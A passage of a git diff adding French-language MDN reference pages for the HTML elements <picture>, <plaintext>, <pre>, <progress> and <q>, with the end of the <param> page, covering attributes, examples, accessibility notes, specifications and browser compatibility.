+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("object")}} avant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLParamElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-iframe-element.html#the-param-element', '&lt;param&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-param-element', '&lt;param&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.3.2', '&lt;param&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.param")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("object")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/picture/index.html b/files/fr/web/html/element/picture/index.html
new file mode 100644
index 0000000000..2178c4c572
--- /dev/null
+++ b/files/fr/web/html/element/picture/index.html
@@ -0,0 +1,126 @@
+---
+title: '<picture> : l''élément d''image adaptative'
+slug: Web/HTML/Element/picture
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/picture
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;picture&gt;</code></strong> est un conteneur utilisé afin de définir zéro ou plusieurs éléments {{HTMLElement("source")}} destinés à un élément {{HTMLElement("img")}}. Le navigateur choisira la source la plus pertinente selon la disposition de la page (les contraintes qui s'appliquent à la boîte dans laquelle l'image devra être affichée), selon l'appareil utilisé (la densité de pixels de l'affichage par exemple avec les appareils hiDPI) et selon les formats pris en charge (ex. WebP pour les navigateurs Chromium ou PNG pour les autres). Si aucune correspondance n'est trouvée parmi les éléments <code>&lt;source&gt;</code>, c'est le fichier défini par l'attribut {{htmlattrxref("src", "img")}} de l'élément <code>&lt;img&gt;</code> qui sera utilisé.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/picture.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'agent utilisateur examine chaque attribut présent dans <code>&lt;source&gt;</code> ({{htmlattrxref("srcset", "source")}}, {{htmlattrxref("media", "source")}}, and {{htmlattrxref("type", "source")}}) pour sélectionner l'URL de la meilleure ressource selon la disposition de la page, les caractéristiques de l'écran de l'appareil, etc.</p>
+
+<p>L'élément <code>&lt;picture&gt;</code> peut être utilisé pour :</p>
+
+<ul>
+ <li>Fournir une direction artistique : rogner, modifier des images selon différentes conditions de média</li>
+ <li>Fournir différents formats d'image lorsque certains formats ne sont pas pris en charge par les navigateurs</li>
+</ul>
+
+<p>Lorsqu'on fournit des versions haute densité d'une image pour les appareils avec un DPI élevé, on utilisera plutôt {{htmlattrxref("srcset", "img")}} sur l'élément <code>&lt;img&gt;</code> à la place. Ainsi, les navigateurs pourront choisir une image à plus basse densité dans un contexte où les flux réseaux doivent être économisés. De plus, il ne sera pas nécessaire d'écrire des requêtes média explicites.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Il est possible d'utiliser la propriété CSS {{cssxref("object-position")}} afin d'ajuster le positionnement de l'image dans le cadre de l'élément. La propriété {{cssxref("object-fit")}} permet quant à elle de contrôler la façon dont la taille de l'image est ajustée.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note : </strong>Ces propriétés doivent être utilisées sur les éléments <code>&lt;img&gt;</code> fils et pas sur l'élément <code>&lt;picture&gt;</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_l'attribut_media">Utiliser l'attribut <code>media</code></h3>
+
+<p>L'attribut <code>media</code> de l'élément {{HTMLElement("source")}} permet de rédiger une requête média qui sera évaluée par l'agent utilisateur afin de sélectionner ou non la source. Si la requête média est évaluée à <code>false</code>, l'élément {{HTMLElement("source")}} est ignoré.</p>
+
+<pre class="brush: html">&lt;picture&gt;
+ &lt;source srcset="mdn-logo-wide.png" media="(min-width: 600px)"&gt;
+ &lt;img src="mdn-logo-narrow.png" alt="MDN"&gt;
+&lt;/picture&gt;
+</pre>
+
+<h3 id="Utiliser_l'attribut_type">Utiliser l'attribut <code>type</code></h3>
+
+<p>L'attribut <code>type</code> d'un élément {{HTMLElement("source")}} permet d'indiquer le type MIME du fichier fourni via l'attribut <code>srcset</code>. Si l'agent utilisateur ne prend pas en charge ce type de fichier, l'élément {{HTMLElement("source")}} est ignoré.</p>
+
+<pre class="brush: html">​&lt;picture&gt;
+ &lt;source srcset="mdn-logo.svg" type="image/svg+xml"&gt;
+ &lt;img src="mdn-logo.png" alt="MDN"&gt;
+&lt;/picture&gt;
+</pre>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_int%C3%A9gr%C3%A9">contenu intégré</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro ou plusieurs éléments {{HTMLElement("source")}} suivi d'un élément {{HTMLElement("img")}} avec éventuellement des éléments scriptés entre.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui peut contenir du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_int%C3%A9gr%C3%A9">contenu intégré</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLPictureElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-picture-element', '&lt;picture&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.picture")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("img")}}</li>
+ <li>{{HTMLElement("source")}}</li>
+ <li>Les propriétés CSS aidant au positionnement et au redimensionnement : {{cssxref("object-position")}} et {{cssxref("object-fit")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/plaintext/index.html b/files/fr/web/html/element/plaintext/index.html
new file mode 100644
index 0000000000..2e2788de93
--- /dev/null
+++ b/files/fr/web/html/element/plaintext/index.html
@@ -0,0 +1,49 @@
+---
+title: '<plaintext> : l''élément de texte brut (déprécié)'
+slug: Web/HTML/Element/plaintext
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/plaintext
+---
+<div>{{HTMLRef}}{{Obsolete_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;plaintext&gt;</code></strong> permet d'afficher du texte qui n'est pas interprété comme du HTML. Il ne possède pas de balise de fermeture, car tout ce qui suit n'est plus considéré comme du HTML.</p>
+
+<div class="note"><strong>Note : </strong>Ne pas utiliser cet élément.
+
+<ul>
+ <li>Il est déprécié depuis HTML 2, et n'a jamais été implementé par tous les navigateurs d'une manière cohérente. De plus, il est obsolète depuis HTML5, et pourra être rendu par les agents-utilisateurs qui l'acceptent comme un élément {{HTMLElement("pre")}}, qui interprètera le HTML contenu même si ce n'est pas ce qui est souhaité !</li>
+ <li>Si l'élément {{HTMLElement("plaintext")}} est le premier élément de la page (sauf éléments non affichés), n'utilisez pas de HTML. Configurez votre serveur pour servir la page avec le <a href="/fr/docs/Properly_Configuring_Server_MIME_Types">type MIME</a> <code>text/plain</code>.</li>
+ <li>Utilisez plutôt l'élément {{HTMLElement("pre")}} ou, si c'est sémantiquement approprié, l'élément {{HTMLElement("code")}}. Échappez éventuellement '<code>&lt;</code>', '<code>&gt;</code>' et <code>&amp;</code> pour que le contenu ne soit pas interprété par inadvertance.</li>
+ <li>Une police à chasse fixe peut aussi être obtenue par un simple élément {{HTMLElement("div")}}, et en appliquant la police générique <code>monospace</code> comme valeur pour la propriété <a href="/fr/docs/Web/CSS">CSS</a> {{cssxref("font-family")}}.</li>
+</ul>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément n'a aucun autre attribut en dehors des <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>, communs à tous les éléments.</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref('HTMLElement')}}.</p>
+
+<div class="note">
+<p><strong>Note d'implémentation : </strong>Jusqu'à Gecko 1.9.2 inclus, Firefox implémente l'interface {{domxref('HTMLSpanElement')}} pour cet élément.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.plaintext")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("pre")}} et {{HTMLElement("code")}} qui doivent être utilisés à la place</li>
+ <li>{{HTMLElement("listing")}} et {{HTMLElement("xmp")}}, similaires mais également obsolètes</li>
+</ul>
diff --git a/files/fr/web/html/element/pre/index.html b/files/fr/web/html/element/pre/index.html
new file mode 100644
index 0000000000..e46eaa46a1
--- /dev/null
+++ b/files/fr/web/html/element/pre/index.html
@@ -0,0 +1,153 @@
+---
+title: '<pre> : l''élément de texte préformaté'
+slug: Web/HTML/Element/pre
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/pre
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML<strong> <code>&lt;pre&gt;</code></strong> représente du texte préformaté, généralement écrit avec une police à chasse fixe. Le texte est affiché tel quel, les espaces utilisés dans le document HTML seront retranscrits.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est nécessaire d'échapper les caractères '<code>&lt;</code>' en '<code>&amp;lt;</code>' afin de s'assurer que le code écrit entre les éléments ne soit pas interprété de façon involontaire.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/pre.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cols")}} {{non-standard_inline}}{{deprecated_inline}}</dt>
+ <dd>Cet attribut contient le nombre <em>préféré</em> de caractères qu'une ligne devrait avoir. Cet attribut était un synonyme non-standard de {{htmlattrxref("width", "pre")}}. Afin d'obtenir cet effet, il est plutôt conseillé d'utiliser la propriété {{cssxref("width")}}.</dd>
+ <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
+ <dd>Cet attribut contient le nombre <em>préféré</em> de caractères qu'une ligne devrait avoir. Bien qu'implémenté, cet attribut n'a aucun effet visuel. Pour obtenir cet effet, il est plutôt conseillé d'utiliser {{cssxref("width")}}.</dd>
+ <dt>{{htmlattrdef("wrap")}} {{non-standard_inline}}</dt>
+ <dd>Cet attribut est une indication sur la façon de gérer le dépassement d'une ligne. Les navigateurs modernes ignorent cette indication et cet attribut n'engendre aucun effet visuel. Pour obtenir cet effet, il faut utiliser la propriété CSS {{cssxref("white-space")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;pre&gt;
+body {
+  color:red;
+}
+&lt;/pre&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","120")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il est important de fournir une description alternative pour toute image ou diagramme créé avec du texte préformaté. Cette description alternative devrait décrire clairement, et de façon concise, le contenu du diagramme.</p>
+
+<p>Les personnes souffrant de troubles de la vision et/ou naviguant à l'aide d'outils d'assistance comme des lecteurs d'écran peuvent ne pas comprendre le diagramme si celui-ci est construit avec des lettres et symboles.</p>
+
+<p>Pour légender un tel diagramme, on pourra utiliser une combinaison d'éléments {{HTMLElement("figure")}} et {{HTMLElement("figcaption")}} relié via un attribut {{htmlattrxref("id")}} et les attributs <a href="/fr/docs/Accessibilité/ARIA">ARIA</a> <code>role</code> et <code>aria-labelledby</code> afin que le texte soit annoncé comme une image et que l'élément <code>figcaption</code> fournisse la description alternative.</p>
+
+<h3 id="Exemple">Exemple</h3>
+
+<pre>&lt;figure role="img" aria-labelledby="legende-vache"&gt;
+  &lt;pre&gt;
+  _____________
+&lt; Oh la vache !&gt;
+  -------------
+         \   ^__^
+          \  (oo)\_______
+             (__)\       )\/\
+                 ||----w |
+                 ||     ||
+  &lt;/pre&gt;
+  &lt;figcaption id="legende-vache"&gt;
+    Une vache qui dit « Oh la vache ! ». La vache est illustrée avec du texte à chasse fixe.
+  &lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">Comprendre les règles WCAG 1.1</a></li>
+ <li><em><a href="https://www.w3.org/TR/WCAG20-TECHS/H86.html">H86: Providing text alternatives for ASCII art, emoticons, and leetspeak | W3C Techniques for WCAG 2.0</a></em><a href="https://www.w3.org/TR/WCAG20-TECHS/H86.html"> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLPreElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-pre-element', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification majure depuis {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-pre-element', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Aucune modification majeure depuis {{SpecName("HTML4.01")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.4', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Dépréciation de l'attribut  <code>cols</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.pre")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés CSS {{cssxref('white-space')}} et {{cssxref('word-break')}}</li>
+</ul>
diff --git a/files/fr/web/html/element/progress/index.html b/files/fr/web/html/element/progress/index.html
new file mode 100644
index 0000000000..3755c3c0e1
--- /dev/null
+++ b/files/fr/web/html/element/progress/index.html
@@ -0,0 +1,118 @@
+---
+title: '<progress> : l''élément d''indicateur de progression'
+slug: Web/HTML/Element/Progress
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/progress
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;progress&gt;</code></strong> indique l'état de complétion d'une tâche et est généralement représenté par une barre de progression.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/progress.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("max")}}</dt>
+ <dd>Cet attribut indique la valeur correspondant à la complétion de la tâche. Si l'attribut <code>max</code> est présent, sa valeur doit être un nombre décimal supérieur à 0. La valeur par défaut est 1.</dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Cet attribut indique l'état actuel de complétion de la tâche avec une valeur numérique. La valeur de l'attribut doit être un nombre décimal compris entre 0 et <code>max</code>  (ou entre 0 et 1 si l'attribut <code>max</code> est absent). Si l'attribut <code>value</code> est absent, la barre de progression traduit un état indéterminé (la tâche est en cours et on ne sait pas la durée qu'elle prendra).</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur minimale est toujours 0 et il n'existe pas d'attribut <code>min</code> pour l'élément <code>progress</code>. La propriété CSS {{cssxref("-moz-orient")}} peut être utilisée afin d'indiquer si barre de progression doit être affichée horizontalement (le comportement par défaut) ou verticalement.<br>
+ La pseudo-classe CSS {{cssxref(":indeterminate")}} permet quant à elle de cibler les barres de progression indéterminées. Pour qu'une barre d'avancement retrouve un état indéterminé après qu'elle ait eu une valeur, on pourra utiliser <code>element.removeAttribute("value")</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;progress value="70" max="100"&gt;70 %&lt;/progress&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 200, 50)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_associé_aux_formulaires">contenu de formulaire (étiquetable)</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a> sans élément <code>&lt;progress&gt;</code> parmi ses descendants.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLProgressElement")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.progress")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("meter")}}</li>
+ <li>{{cssxref(":indeterminate")}}</li>
+ <li>{{cssxref("-moz-orient")}}</li>
+ <li>{{cssxref("::-moz-progress-bar")}}</li>
+ <li>{{cssxref("::-ms-fill")}}</li>
+ <li>{{cssxref("::-webkit-progress-bar")}}</li>
+ <li>{{cssxref("::-webkit-progress-value")}}</li>
+ <li>{{cssxref("::-webkit-progress-inner-element")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/q/index.html b/files/fr/web/html/element/q/index.html
new file mode 100644
index 0000000000..b246324420
--- /dev/null
+++ b/files/fr/web/html/element/q/index.html
@@ -0,0 +1,118 @@
+---
+title: '<q> : l''élément de citation en incise'
+slug: Web/HTML/Element/q
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/q
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML<strong> <code>&lt;q&gt;</code></strong> indique que le texte qu'il contient est une citation en incise. La plupart des navigateurs modernes entoure le texte de cet élément avec des marques de citation. Cet élément est destiné aux citations courtes qui ne nécessitent pas de sauts de paragraphe. Pour les plus grandes citations, on utilisera l'élément {{HTMLElement("blockquote")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/q.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note d'utilisation :</strong> la plupart des navigateurs récents ajoutent automatiquement des guillemets autours du contenu d'un élément <code>&lt;q&gt;</code> mais il peut être nécessaire d'ajouter une règle CSS pour les ajouter dans les anciens navigateurs.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>La valeur de cet attribut est une URL désignant la source du message ou de l'information citée. Cet attribut est prévu pour fournir des renseignements concernant le contexte ou la référence de cette citation.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Chaque fois que Kenny est tué, Stan dira
+   &lt;q cite="http://fr.wikipedia.org/wiki/Kenny_McCormick#Le_dialogue_rituel"&gt;
+     Oh mon Dieu, ils ont tué Kenny !
+   &lt;/q&gt;.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","120")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLQuoteElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-q-element', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-q-element', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
